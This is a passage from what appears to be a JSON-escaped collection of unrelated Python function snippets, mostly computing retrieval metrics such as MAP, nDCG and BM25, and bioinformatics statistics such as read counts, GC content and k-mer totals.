open(nDCG_MAP_res+\\\"doc_ret_nDCG_MAP_res_k_top_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p),\\\"wb\\\")\\n# each_params_AVGnDCG_MAP_dict = {} #key is alpha,beta,k_docs,lambda and val is the avg nDCG and MAP across all claims together\\n each_params_MAP_dict = {}\\n# NDCG_AP_all_claims_all_param_values = {}\\n AP_all_claims_all_param_values = {}\\n best_avg_nDCG = 0\\n best_MAP = 0 #across all claims in a given configuration, find the max measures\\n \\n# docs_norms_path = base_path+\\\"\\\\\\\\docs_norm_scores_dicts\\\\\\\\\\\"\\n claims_dict = read_pickle(\\\"claim_dict\\\")\\n #count the number of sentences that were retrived that are in the true data....sum for each claim, then average.\\n \\n \\n for alpha in range(0,11,1): #change just for test!\\n for beta in range(0,10,1):\\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\\n NDCG_all_claims= {} #key is a claim, value is the nDCG\\n AP_all_claims= {} \\n AP_cut_off = 1000\\n curr_filename = docs_norms_path+\\\"clm_key_ranked_list_of_docs_alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)\\n clm_key_ranked_list_of_docs_baseline = read_pickle(curr_filename) #key is qID and docid\\n #need to turn it to a list of docs\\n for clm in claim_list:\\n try:\\n# nDCG_score = utils_linux.calc_doc_emp_NDCG(curr_source,str(clm),clm_key_ranked_list_of_docs_baseline[clm],claim_rel_docno_dict[claims_dict[str(clm)]],p)\\n# NDCG_all_claims[clm] = nDCG_score\\n AP_score = utils_linux.calc_doc_AP_relevance(AP_cut_off,curr_source,clm,clm_key_ranked_list_of_docs_baseline[clm],claim_rel_docno_dict[claims_dict[str(clm)]])\\n AP_all_claims[clm] = AP_score\\n AP_all_claims_all_param_values[clm,alpha_f,beta_f,k_val] = AP_score\\n except Exception as err: \\n log.write('problem in calculations: in source: '+ curr_source+' in clm '+ claims_dict[str(clm)]+\\\" alpha:\\\"+str(alpha_f)+ \\\"beta:\\\"+str(beta_f)+\\\" \\\\n\\\" ) \\n for arg in err.args:\\n log.write(arg+\\\" \\\") \\n log.write(\\\"\\\\n\\\") \\n# average_NDCG = float(float(sum(NDCG_all_claims.values()))/float(len(NDCG_all_claims))) #across all claims...\\n# if average_NDCG > best_avg_nDCG:\\n# best_avg_nDCG = average_NDCG\\n# best_avg_nDCG_configuration = (alpha_f,beta_f,k_val)\\n MAP = float(float(sum(AP_all_claims.values()))/float(len(AP_all_claims)))\\n if MAP > best_MAP:\\n best_MAP = MAP\\n best_MAP_configuration = (alpha_f,beta_f,k_val)\\n each_params_MAP_dict[alpha_f,beta_f,k_val] = MAP\\n utils_linux.save_pickle(nDCG_MAP_res+\\\"doc_ret_NDCG_all_claims_alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)+\\\"_top_k_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p),NDCG_all_claims)\\n utils_linux.save_pickle(nDCG_MAP_res+\\\"doc_ret_AP_all_claims_alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)+\\\"_top_k_docs_\\\"+str(k_val),AP_all_claims)\\n# res_file.write(\\\"alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)+\\\"_top_k_docs_\\\"+str(k_val)+\\\"|\\\"+\\\"AnDCG_\\\"+str(average_NDCG)+\\\"_MAP_\\\"+str(MAP)+\\\"\\\\n\\\")\\n res_file.write(\\\"alpha_\\\"+str(alpha_f)+\\\"_beta_\\\"+str(beta_f)+\\\"_top_k_docs_\\\"+str(k_val)+\\\"|_MAP_\\\"+str(MAP)+\\\"\\\\n\\\")\\n save_pickle(nDCG_MAP_res+\\\"doc_ret_NDCG_AP_all_claims_all_param_values_k_top_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p),AP_all_claims_all_param_values)\\n save_pickle(nDCG_MAP_res+\\\"doc_ret_each_params_AVGnDCG_MAP_dict_k_top_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p),each_params_MAP_dict)\\n# best_row = \\\"best_avg_nDCG|\\\"+str(best_avg_nDCG)+\\\"|best_avg_nDCG_configuration|\\\"+str(best_avg_nDCG_configuration[0])+\\\",\\\"+str(best_avg_nDCG_configuration[1])+\\\",\\\"+str(best_avg_nDCG_configuration[3])+\\\",\\\"+str(best_avg_nDCG_configuration[2])+\\\"|\\\"\\n best_row = \\\"best_MAP|\\\" +str(best_MAP)+\\\"|best_MAP_configuration|\\\"+str(best_MAP_configuration[0])+\\\",\\\"+str(best_MAP_configuration[1])+\\\",\\\"+str(best_MAP_configuration[2])\\n res_file.write(best_row)\\n res_file.close()\\n log.close()\",\n \"def count_allbest_mirbase_reads(bam, counts_file):\\n count_ref_hits(bam, counts_file)\",\n \"def est_read_len(fq, reads=100):\\n if is_gz_file(fq):\\n openf = gzip.open\\n else:\\n openf = open\\n readlens = []\\n with openf(fq) as f:\\n try: # File less than 4*reads lines\\n for _ in range(reads):\\n next(f)\\n readlens.append(len(next(f).strip()))\\n next(f), next(f)\\n except:\\n pass\\n return median(readlens)\",\n \"def bm25_algorithm(self, query, k1 = 2, b = 0.75):\\n\\t\\tdocsInfo = self.get_needed_inf(query)\\n\\t\\tavgdl = sum(x['len'] for x in docsInfo) / float(len(docsInfo))\\n\\t\\t# print(docsInfo)\\n\\t\\tdocScore = self.count_score(docsInfo, avgdl, k1, b)\\n\\t\\treturn docScore\",\n \"def mem_per_core(self):\\n return self.mem_per_node / self.cores_per_node\",\n \"def calc_GC(filepath):\\n liste=['small.exon.piRNA_2.fa', 'small.exon.piRNA_1.fa', 'small.exon.piRNA_3.fa']\\n \\n length=list(range(0,34))\\n d={}\\n for i in length:\\n d[i]={'A':0, 'G':0, 'T':0, 'C':0}\\n for i in liste:\\n with open(filepath+'/'+i, 'r') as f:\\n for line in f:\\n #fasta header starts with >\\n if line.startswith('>'):\\n pass\\n else:\\n line_l=list(line)\\n for el in range(len(line_l)):\\n if line_l[el]=='A':\\n d[el]['A']+=1\\n elif line_l[el]=='T':\\n d[el]['T']+=1\\n elif line_l[el]== 'G':\\n d[el]['G']+=1\\n elif line_l[el]== 'C':\\n d[el]['C']+=1\\n\\n df=pd.DataFrame.from_dict(d)\\n df=df.transpose()\\n df.index = np.arange(1, len(df) + 1)\\n \\n\\n df['A [%]']=df['A']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\\n df['G [%]']=df['G']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\\n df['T [%]']=df['T']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\\n df['C [%]']=df['C']/(df['A'].sum()+df['G'].sum()+df['C'].sum()+df['T'].sum())*100\",\n \"def get_block_size(n, k):\\r\\n l, r = get_position(k)\\r\\n c, p, q = get_level_profile(n, l)\\r\\n return c + 1 if r < q else c\",\n \"def calc_std_nDCG_AP_corpus_smoothing(p):\\n \\n# nDCG_MAP_res = base_path +\\\"\\\\\\\\nDCG_MAP_res\\\\\\\\\\\"\\n measures_res = linux_base_path+ \\\"/measures_res\\\"+setup+\\\"/\\\"\\n k_val = 50\\n NDCG_AP_all_claims_all_param_values = read_pickle(measures_res+\\\"NDCG_AP_prec_at_k_all_claims_all_param_values_top_k_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p)) #key:clm,alpha_f,beta_f,k_val,lambda_f val nDCG_score,AP_score\\n each_params_AVGnDCG_MAP_dict = read_pickle(measures_res+\\\"each_params_AVGnDCG_MAP_prec_at_k_dict_top_k_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p)) #key:alpha_f,beta_f,k_val,lambda_f\\n nDCG_MAP_std = {} #key is a configuration quadruplet, value is the std of the measures\\n \\n \\n \\n# for k_val in top_k_docs_values:\\n for alpha in range(0,11,1): #change just for test!\\n for beta in range(0,10,1):\\n for lambda_int in range(0,11,1):\\n lambda_f = turn_to_float([lambda_int])\\n (alpha_f,beta_f) = turn_to_float([alpha,beta])\\n curr_AP_var = 0\\n curr_nDCG_var = 0\\n curr_prec_at_5_var = 0\\n curr_prec_at_10_var = 0\\n for clm in claim_list:\\n curr_nDCG_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][0] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][0])**2\\n curr_AP_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][1] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][1])**2\\n curr_prec_at_5_var += (NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][2] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][2])**2\\n curr_prec_at_10_var +=(NDCG_AP_all_claims_all_param_values[str(clm),alpha_f,beta_f,k_val,lambda_f][3] - each_params_AVGnDCG_MAP_dict[alpha_f,beta_f,k_val,lambda_f][3])**2\\n curr_nDCG_std = float(float(math.sqrt(curr_nDCG_var))/float(len(claim_list)))\\n curr_AP_std = float(float(math.sqrt(curr_AP_var))/float(len(claim_list)))\\n curr_prec_at_5_std = float(float(math.sqrt(curr_prec_at_5_var))/float(len(claim_list)))\\n curr_prec_at_10_std =float(float(math.sqrt(curr_prec_at_10_var))/float(len(claim_list)))\\n nDCG_MAP_std[alpha_f,beta_f,k_val,lambda_f] = (curr_nDCG_std,curr_AP_std,curr_prec_at_5_std,curr_prec_at_10_std)\\n save_pickle(measures_res+\\\"nDCG_MAP_prec_at_k_std_for_each_configuration_k_top_docs_\\\"+str(k_val)+\\\"_at_\\\"+str(p), nDCG_MAP_std)\",\n \"def micros() -> int:\",\n \"def print_bm25_field_length_info(path_doc_length_info_bm25f):\\n\\n doc_length_info = load_pickle(path_doc_length_info_bm25f)\\n \\n n_terms_author_total = 0\\n n_terms_sections_total = 0\\n n_terms_title_total = 0\\n n_terms_abstract_total = 0\\n for cord_uid in doc_length_info.keys():\\n \\n info = doc_length_info[cord_uid]\\n \\n n_terms_author_total += info['author']\\n n_terms_sections_total += info['sections']\\n n_terms_title_total += info['title']\\n n_terms_abstract_total += info['abstract']\\n \\n n_terms_total = n_terms_author_total + n_terms_sections_total + n_terms_title_total + n_terms_abstract_total\\n \\n print(len(doc_length_info))\\n print(f\\\"n_terms_author_total = {n_terms_author_total}, average={n_terms_author_total/len(doc_length_info)}\\\")\\n print(f\\\"n_terms_sections_total= {n_terms_sections_total}, average={n_terms_sections_total/len(doc_length_info)}\\\")\\n print(f\\\"n_terms_title_total = {n_terms_title_total}, average={n_terms_title_total/len(doc_length_info)}\\\")\\n print(f\\\"n_terms_abstract_total= {n_terms_abstract_total}, average={n_terms_abstract_total/len(doc_length_info)}\\\")\\n print(f\\\"n_terms_total = {n_terms_total}, average={n_terms_total/len(doc_length_info)}\\\")\",\n \"def calc_precision_map(self, output_filenm=\\\"\\\"):\\n logger.info(\\\"Calculating precision map\\\")\\n success_map, total_map = {}, {} # map from query r to a dict of path and ratio of success\\n # not sure why I am getting RuntimeError: dictionary changed size during iteration.\\n train_map = [((e1, r), e2_list) for ((e1, r), e2_list) in self.train_map.items()]\\n for ((e1, r), e2_list) in tqdm(train_map):\\n c = self.args.cluster_assignments[self.entity_vocab[e1]]\\n if c not in success_map:\\n success_map[c] = {}\\n if c not in total_map:\\n total_map[c] = {}\\n if r not in success_map[c]:\\n success_map[c][r] = {}\\n if r not in total_map[c]:\\n total_map[c][r] = {}\\n paths_for_this_relation = self.args.path_prior_map_per_relation[c][r]\\n for p_ctr, (path, _) in enumerate(paths_for_this_relation.items()):\\n ans = self.execute_one_program(e1, path, depth=0, max_branch=100)\\n if len(ans) == 0:\\n continue\\n # execute the path get answer\\n if path not in success_map[c][r]:\\n success_map[c][r][path] = 0\\n if path not in total_map[c][r]:\\n total_map[c][r][path] = 0\\n for a in ans:\\n if a in e2_list:\\n success_map[c][r][path] += 1\\n total_map[c][r][path] += 1\\n\\n precision_map = {}\\n for c, _ in success_map.items():\\n for r, _ in success_map[c].items():\\n if c not in precision_map:\\n precision_map[c] = {}\\n if r not in precision_map[c]:\\n precision_map[c][r] = {}\\n for path, s_c in success_map[c][r].items():\\n precision_map[c][r][path] = s_c / total_map[c][r][path]\\n\\n if not output_filenm:\\n dir_name = os.path.join(args.data_dir, \\\"data\\\", self.args.dataset_name, \\\"linkage={}\\\".format(self.args.linkage))\\n output_filenm = os.path.join(dir_name, \\\"precision_map.pkl\\\")\\n logger.info(\\\"Dumping precision map at {}\\\".format(output_filenm))\\n with open(output_filenm, \\\"wb\\\") as fout:\\n pickle.dump(precision_map, fout)\\n logger.info(\\\"Done...\\\")\",\n \"def count_single_mirbase_reads(bam, counts_file):\\n count_ref_hits(bam, counts_file)\",\n \"def gc_content(seq):\\n result = float(str(seq).count('G') + str(seq).count('C'))/len(seq) *100\\n return result\",\n \"def test_count_reads_in_region_total(self):\\n self.c.skipZeros = False\\n self.c.stepSize = 200\\n self.c.binLength = 200\\n resp, _ = self.c.count_reads_in_region(self.chrom, 0, 200)\\n nt.assert_equal(resp, np.array([[2, 4.]]))\",\n \"def single_reads(reads_pos):\\n #TODO: use more complicated estimator?\\n return (len(reads_pos) + 1) / (len(reads_pos) - 1) * (reads_pos[-1] - reads_pos[0])\",\n \"def ComputeNrb(self):\\r\\n pass\",\n \"def get_grating_lines_per_mm(self):\\r\\n msg = struct.pack('>2B', 56, 2)\\r\\n response = self.query(msg)\\r\\n return struct.unpack('>H', response[:2])[0]\",\n \"def b3_precision(system_output, gold_standard, sys_el2kbid, gold_el2kbid):\\n el_pre_sums = 0.0\\n num_elements = 0\\n \\n for kb_id in system_output.keys():\\n mention_set = system_output[kb_id]\\n\\n num_elements += len(mention_set)\\n \\n for el_a in mention_set:\\n num_correct = 0\\n \\n for el_b in mention_set:\\n correct = b3_correctness(el_a, el_b, sys_el2kbid, gold_el2kbid)\\n if(correct): num_correct +=1\\n\\n el_pre = num_correct / float(len(mention_set))\\n \\n el_pre_sums += el_pre\\n \\n #print \\\"\\\\t%s\\\\t%.2f\\\" % (el_a, el_pre)\\n\\n P = el_pre_sums / float(num_elements)\\n \\n return P\",\n \"def cr_statistics(tecs):\\n\\n min_cr = 1000000\\n max_cr = 0\\n avg = 0\\n\\n for tec in tecs:\\n cr = heuristics.compression_ratio(tec)\\n if cr < min_cr:\\n min_cr = cr\\n if cr > max_cr:\\n max_cr = cr\\n\\n avg += cr\\n\\n avg /= len(tecs)\\n\\n return min_cr, max_cr, avg\",\n \"def workersNeeded(k, m):\\n # formula: k/m\\n from math import ceil\\n return ceil(float(k)/float(m))\",\n \"def get_k(self, n, m):\\n k = m/n * log(2)\\n return int(k)\",\n \"def mw_dbm(mw):\\n return 10*np.log10(mw/1)\",\n \"def _compute_seqs_per_file(self,\\r\\n input_fasta_fp,\\r\\n num_jobs_to_start):\\r\\n # count the number of sequences in the fasta file\\r\\n num_input_seqs = count_seqs(input_fasta_fp)[0]\\r\\n\\r\\n # divide the number of sequences by the number of jobs to start\\r\\n result = num_input_seqs / num_jobs_to_start\\r\\n\\r\\n # if we don't have a perfect split, round up\\r\\n if result % 1 != 0:\\r\\n result += 1\\r\\n\\r\\n # return the result as an integer\\r\\n return int(result)\",\n \"def test_RUMI():\\r\\n\\r\\n start = 11051\\r\\n end = 11902\\r\\n read_poems(start, end)\",\n \"def langmuir_occ(p, k):\\n\\n intermediate = k * p\\n\\n occupancy = intermediate / (intermediate + 1)\\n\\n return occupancy\",\n \"def count_kmers(file_name, k, verbose=False):\\n if verbose:\\n start = time.time()\\n print('Counting kmers in {}'.format(file_name))\\n total_kmers = 0\\n with open(file_name, 'r') as f:\\n line_num = 0\\n for line in f:\\n if line_num % 4 == 1: # dna sequence\\n total_kmers += len(line) - k # eliminate new-line\\n line_num += 1\\n if verbose:\\n end = time.time()\\n print('{} kmers are counted in {:.2f} seconds'.format(\\n total_kmers, end - start))\\n return total_kmers\",\n \"def test_count_total_reads(self):\\n \\n bam = pybedtools.BedTool(clipper.test_file(\\\"allup_test.bam\\\"))\\n gene_dfn = pybedtools.BedTool(clipper.test_file(\\\"hg19_genes.bed\\\"))\\n \\n result = count_total_reads(bam, gene_dfn)\\n \\n self.assertEqual(result, 2086)\",\n \"def get_bin_time(fichier):\\n n = 0 \\n maxi = 0.0\\n mini = 90000000000000\\n with open(fichier, \\\"r+\\\") as f1:\\n file_content = csv.DictReader(f1)\\n for row in file_content:\\n n +=1\\n if float(row[\\\"lang\\\"])> maxi:\\n maxi = float(row[\\\"lang\\\"])\\n if float(row[\\\"lang\\\"])< mini:\\n mini = float(row[\\\"lang\\\"])\\n return ((maxi - mini)/n, mini, maxi, n)\",\n \"def getReadCounts( counts, htList ):\\n for ht in htList:\\n htseqName = ht\\n \\n # calculate the total number of aligned reads \\n totalReads = 0\\n alignedReads = 0\\n \\n # sum read counts\\n with open(htseqName,'r') as htseq:\\n for x in htseq:\\n x = x.strip() # get rid of that pesky newline\\n row = x.split('\\\\t')\\n totalReads += float(row[1])\\n if x.startswith('__'):\\n continue\\n else:\\n alignedReads += float(row[1])\\n \\n percentAligned = (alignedReads/totalReads) * 100\\n counts[ht].append(totalReads)\\n counts[ht].append(alignedReads)\\n counts[ht].append(percentAligned)\",\n \"def get_load_factor(self):\\n # Your code here\\n return self.count/len(self.data)\",\n \"def readlen_cnts(store, filter_srrs=None, keep_srrs=None):\\n df = store['prealn/workflow/fastq'].copy()\\n df.reset_index(inplace=True)\\n df = remove_rows(df, 'srr', filter_srrs)\\n df = keep_rows(df, 'srr', keep_srrs)\\n df['len'] = df[['avgLen_R1', 'avgLen_R2']].max(axis=1)\\n\\n return df.len.min(), df.len.median(), df.len.mode().iloc[0], df.len.max()\",\n \"def recallAndPrecision(self,train = None,test = None,k = 8,nitem = 10):\\n train = train or self.traindata\\n test = test or self.testdata\\n hit = 0\\n recall = 0\\n precision = 0\\n for user in train.keys():\\n tu = test.get(user,{})\\n rank = self.recommend(user, train = train,k = k,nitem = nitem) \\n for item,_ in rank.items():\\n if item in tu:\\n hit += 1\\n recall += len(tu)\\n precision += nitem\\n return (hit / (recall * 1.0),hit / (precision * 1.0))\",\n \"def user_read (mcache, direc) :\\n assert os.path.isdir(direc)\\n assert type(mcache) == list\\n\\n ucache = {}\\n\\n trat = 0\\n tcnt = 0\\n\\n # iterate through every files in the directory\\n for f in os.listdir(direc):\\n # open each file in read only mode \\n mrating = open(direc+\\\"/\\\"+f, 'r')\\n # convert the first line to int to represent to movie ID\\n mid = int(mrating.readline().replace(':',''))\\n\\n # iterate through all lines in the file\\n for line in mrating:\\n lst = line.split(',')\\n\\n uid = int(lst[0])\\n rating = int(lst[1])\\n\\n mcache[mid-1][0]+=rating\\n mcache[mid-1][1]+=1\\n\\n if not uid in ucache:\\n ucache[uid] = [0.0,0.0]\\n\\n ucache[uid][0]+=rating\\n ucache[uid][1]+=1\\n\\n trat += rating\\n tcnt += 1\\n\\n assert len(ucache) <= 480189\\n return (ucache, trat/tcnt)\",\n \"def bigram_likelihood_ratio(n_12, n_1, n_2, n):\\n n_o2 = max(n_2 - n_12, 0)\\n n_1o = max(n_1 - n_12, 0)\\n n_oo = max(n - n_12 - n_1o - n_o2, 0)\\n contingency = [n_12, n_o2, n_1o, n_oo]\\n if sum(contingency) == 0:\\n # the database is empty, so relevance == 0 \\n return 0.0\\n for value in contingency:\\n assert value >= 0\\n expected = _expected_values(contingency)\\n\\n # the magic formula from NLTK\\n likelihood = (2 * sum(obs * math.log(float(obs) / (exp + _SMALL) + _SMALL)\\n for obs, exp in zip(contingency, expected)))\\n return likelihood\",\n \"def calc_tpm(self, ensg_id, count):\\n gene_len = len(set(self.gtf.gene_coords[ensg_id])) /1000.0\\n return float((count/gene_len)/(self.rpk_total/1000000.0))\",\n \"def get_max_readings( self ):\\n return 2500\",\n \"def total_number():\\r\\n total_number = 0\\r\\n file_read = read_file()\\r\\n for key in file_read:\\r\\n total_number = total_number + len(file_read[key])\\r\\n return total_number\",\n \"def get_Kn(self, T):\\n\\n mfp = self.get_mfp(T)\\n\\n self.Kn = mfp / self.Kn_length\\n\\n return self.Kn\",\n \"def modularity_gain(n, c, dnodecomm):\\n\\n totc = _tot[c]\\n degc = k[n]\\n return dnodecomm - (totc * degc) / m\",\n \"def total_sdram_requirements(self):\",\n \"def get_total_rows(max_passes: int) -> int:\\n # For each of `max_subreads`, we have three pieces of information: bases, PW,\\n # and IP. We also have four rows for SN, and one for strand.\\n # The information is structured as follows:\\n # Bases: (0, params.max_passes - 1) represent bases.\\n # PW: rows params.max_passes to (params.max_passes * 2 - 1)\\n # IP: rows (params.max_passes * 2) to (params.max_passes * 3 - 1)\\n # Strand: rows (params.max_passes * 3) to (params.max_passes * 4)\\n # CCS+SN: rows (params.max_passes * 4 + 1) to (params.max_passes * 4 + 5)\\n # The last five rows are CCS sequence (1), and SN (4).\\n return (max_passes * 4) + 5\",\n \"def total_read_throughput(self):\\n total = self.read_throughput\\n for index in six.itervalues(self.global_indexes):\\n total += index.read_throughput\\n return total\",\n \"def get_reading_length(self):\\n body_text_length= len(self.body_text.split(' ')) # split the body_text into words (using whitespace as the delimiter) and count how many words there are \\n reading_length = 'Reading time: ' + str(round(body_text_length / 200)) + ' mins' #apparently, studies have shown that 238 words per minute is the average reading speed, but I'll round it down to 200\\n #using round() to round the number to an integer, discarding any decimal digits\\n\\n return reading_length\",\n \"def calcBLratio(seqidA, seqidB):\\n \\n likes = []\\n nparams = []\\n \\n setfiles = ('set%03d' % seqidA, 'set%03d' % seqidB, 'set%03d%03d' \\\\\\n % (seqidA, seqidB))\\n \\n for set in setfiles:\\n lnlfile = open('%s.lnl' % set)\\n likes.append(float(lnlfile.readline().strip()))\\n lnlfile.close()\\n \\n paramfile = open('%s.prm' % set)\\n nparams.append(int(paramfile.readline().strip()))\\n paramfile.close()\\n \\n # lnL^A + lnL^B - lnL^{AB}\\n result = likes[0] + likes[1] - likes[2]\\n df = nparams[0] + nparams[1] - nparams[2]\\n \\n # this should only happen in there are 2 copies of an alignment, I think\\n if result <= 0:\\n sys.stderr.write('dlnL is less than or equal to 0! Converting to 1E-6.\\\\n')\\n result = 1e-6\\n \\n return (result, df)\",\n \"def compute_kl(reference_corpus,\\n translation_corpus,\\n max_order=4,\\n freq_thre=100,\\n workers=20,\\n verbose=False):\\n results = {}\\n itertool = tqdm.tqdm if verbose else lambda x, *args, **kw: x\\n\\n for order in range(1, max_order + 1):\\n with Pool(processes=workers) as pool:\\n chunksize = len(reference_corpus)//(3*workers)\\n chunkedexamples = [reference_corpus[i:i + chunksize]\\n for i in range(0, len(reference_corpus), chunksize)]\\n ngram_counts = list(itertool(pool.imap(partial(_get_ngrams, order=order), chunkedexamples),\\\\\\n total=len(chunkedexamples), \\\\\\n desc=\\\"Calculating {}-gram for ref data\\\".format(order)))\\n merged_ref_ngram_counts = collections.Counter()\\n for c in ngram_counts:\\n merged_ref_ngram_counts += c\\n with Pool(processes=workers) as pool:\\n chunksize = len(translation_corpus)//(10*workers)\\n chunkedexamples = [translation_corpus[i:i + chunksize]\\n for i in range(0, len(translation_corpus), chunksize)]\\n ngram_counts = list(itertool(pool.imap(partial(_get_ngrams, order=order), chunkedexamples),\\\\\\n total=len(chunkedexamples), \\\\\\n desc=\\\"Calculating {}-gram for trans data\\\".format(order)))\\n merged_trans_ngram_counts = collections.Counter()\\n for c in ngram_counts:\\n merged_trans_ngram_counts += c\\n\\n merged_ref_ngram_counts = \\\\\\n collections.Counter({k: c for k, c in merged_ref_ngram_counts.items() if c >= freq_thre})\\n ref_total_nums = sum([c for k, c in merged_ref_ngram_counts.items()])\\n # We do not remove items from merged_trans_ngram_counts to prevent infite issue\\n trans_total_nums = sum([c for k, c in merged_trans_ngram_counts.items() if c >= freq_thre])\\n\\n kl = 0\\n # eps: smoothing parameter\\n eps = 1e-10\\n for k, c in merged_ref_ngram_counts.items():\\n _c = merged_trans_ngram_counts.get(k, 0)\\n\\n # apply smoothing\\n c += eps\\n _c += eps\\n\\n kl += - c/ref_total_nums * math.log((_c/c)*(ref_total_nums/trans_total_nums))\\n\\n results[\\\"{}-gram\\\".format(order)] = kl\\n\\n return results\",\n \"def get_utilization(self):\\n child_prefixes = Prefix.objects.filter(prefix__net_contained_or_equal=str(self.prefix))\\n # Remove overlapping prefixes from list of children\\n networks = cidr_merge([c.prefix for c in child_prefixes])\\n children_size = float(0)\\n for p in networks:\\n children_size += p.size\\n return int(children_size / self.prefix.size * 100)\",\n \"def MICRO(reported, table_report, recount, W, L):\\n micro = 0\\n for pw in W:\\n for pl in L:\\n if pw != pl:\\n x = d(L[pl]) * e(pw, table_report, recount) - d(W[pw]) * e(pl, table_report, recount)\\n y = (d(L[pl]) * reported[pw] - d(W[pw]) * reported[pl])\\n micro = max(micro, x / y)\\n\\n return micro\",\n \"def getBaselineScoreForSiblings(self, topNode):\\n base = 100000\\n numberOfParagraphs = 0\\n scoreOfParagraphs = 0\\n nodesToCheck = Parser.getElementsByTag(topNode, tag='p')\\n \\n for node in nodesToCheck:\\n nodeText = Parser.getText(node)\\n wordStats = StopWords().getStopWordCount(nodeText)\\n highLinkDensity = self.isHighLinkDensity(node)\\n if wordStats.getStopWordCount() > 2 and not highLinkDensity:\\n numberOfParagraphs += 1\\n scoreOfParagraphs += wordStats.getStopWordCount()\\n \\n if numberOfParagraphs > 0:\\n base = scoreOfParagraphs / numberOfParagraphs\\n \\n return base\",\n \"def bulk_modulus():\\n\\n return 10000.0\",\n \"def ultratio(chrlength, uniqueratio, chrtotalreads, frcount):\\n ultratio = chrlength * uniqueratio / (chrtotalreads - frcount)\\n\\n return ultratio\",\n \"def total_millimetres(self):\\n raise NotImplementedError(\\\"The total length property must be overriden in derived classes.\\\")\",\n \"def load_factor(self):\\n return self.__num_records / self.__size\",\n \"def overall_reduction(self):\\n return 84\",\n \"def read_core_temp(self) -> float:\",\n \"def project_length_in_ns(projnum):\\n\\n w = {}\\n\\n # 7 fragment hits\\n w[14346] = 1.0 # RL\\n w[14348] = 10.0 # L\\n\\n # 100 ligands\\n w[14337] = 1.0 # RL\\n w[14339] = 10.0 # L\\n\\n # 72 series\\n for i in range(14600, 14613):\\n w[i] = 1.0 # RL\\n for i in range(14349, 14362):\\n w[i] = 10.0 # L\\n\\n # Moonshot 03-23\\n w[14363] = 1.0 # RL\\n w[14364] = 10.0 # L\\n\\n # Moonshot 03-26\\n for i in range(14365, 14369):\\n w[i] = 1.0 # RL\\n for i in range(14369, 14373):\\n w[i] = 10.0 # L\\n\\n # MLTN\\n w[14373] = 1.0 # RL\\n w[14374] = 10.0 # L\\n\\n # Moonshot 03-31\\n w[14375] = 1.0 # RL\\n w[14376] = 10.0 # L\\n\\n # Moonshot 04-06\\n w[14377] = 1.0 # RL\\n w[14378] = 10.0 # L\\n\\n # Moonshot 04-06-2\\n w[14379] = 1.0 # RL\\n w[14380] = 10.0 # L\\n\\n # Moonshot MSBR\\n w[14381] = 1.0 # RL\\n w[14382] = 1.0 # RL\\n w[14383] = 1.0 # RL\\n w[14384] = 10.0 # L\\n w[14385] = 10.0 # L\\n w[14386] = 10.0 # L\\n\\n # AGG\\n for i in range(14613, 14628):\\n w[i] = 1.0 # RL\\n for i in range(14630, 14644):\\n w[i] = 10.0 # L\\n\\n # harmonic potential testing\\n w[14398] = 1.0 # RL\\n w[14399] = 1.0 # RL\\n\\n for i in range(14700, 14900):\\n w[i] = 1.0 # RL\\n\\n return w[projnum]\",\n \"def test_rabin_partition(strlength=3e5,iter=20):\\n from tqdm import tqdm\\n from random import choice\\n from string import ascii_lowercase\\n longstr_rand = ''.join([choice(ascii_lowercase) for _ in xrange(int(strlength))])\\n\\n print(\\\"*rabin_partition* test completed.\\\")\\n print(\\\"Mac Air baseline is 350 pages/second throughput, i.e. 3.5 iterations per second given a 100 page document\\\")\\n for _ in tqdm(xrange(iter)): \\n rabin_partition(longstr_rand)\\n return\",\n \"def load_factor(self):\\n return round(self._n / self._size, 2)\",\n \"def get_recall(self,common_len,RTSummary):\\n if len(RTSummary)<=0:\\n return 0.0\\n\\n return common_len/len(RTSummary)\",\n \"def REC_5s():\\n return 5\",\n \"def _compute_tqdm_miniters(byte_size: int) -> float:\\n return min(byte_size / 100.0, 1.0)\",\n \"def log_prob_of_file(filepath, model):\\n vocab = set(counts_un.keys())\\n tot = 0\\n count = 0\\n prev_prev = \\\"<s>\\\\n\\\"\\n prev = \\\"<s>\\\\n\\\"\\n with open(filepath) as f:\\n for line in f:\\n count += 2\\n line = line.strip()+\\\"\\\\n\\\"\\n tri_prob = model.get_trigram_prob(prev_prev, prev, line)\\n tot += math.log(tri_prob)\\n prev_prev = prev\\n prev = line \\n for line in [\\\"</s>\\\\n\\\", \\\"</s>\\\\n\\\"]:\\n tri_prob = model.get_trigram_prob(prev_prev, prev, line)\\n tot += math.log(tri_prob)\\n prev_prev = prev\\n prev = line \\n return tot, count\",\n \"def processNT(organism, chain, nuc, quals):\\n\\n ch = chain.lower()\\n\\n quals = np.array(quals.split('.')).astype(int)\\n res = parse_unpaired_dna_sequence_blastn(organism, chain, nuc, info='',\\n nocleanup=False, hide_nucseq=False,\\n extended_cdr3=True,\\n return_all_good_hits=True,\\n max_bit_score_delta_for_good_hits=50)\\n genes,evalues,status,all_good_hits_with_scores = res\\n labels = ['v%s_gene','v%s_rep', 'v%s_mm', 'j%s_gene', 'j%s_rep', 'j%s_mm', 'cdr3%s_plus']\\n tmp = {g:v for g,v in zip([lab % ch for lab in labels], genes)}\\n tmp.update({'%s_evalue' % k.lower():evalues[k][0] for k in evalues.keys()})\\n tmp.update({'%s_bitscore_gap' % 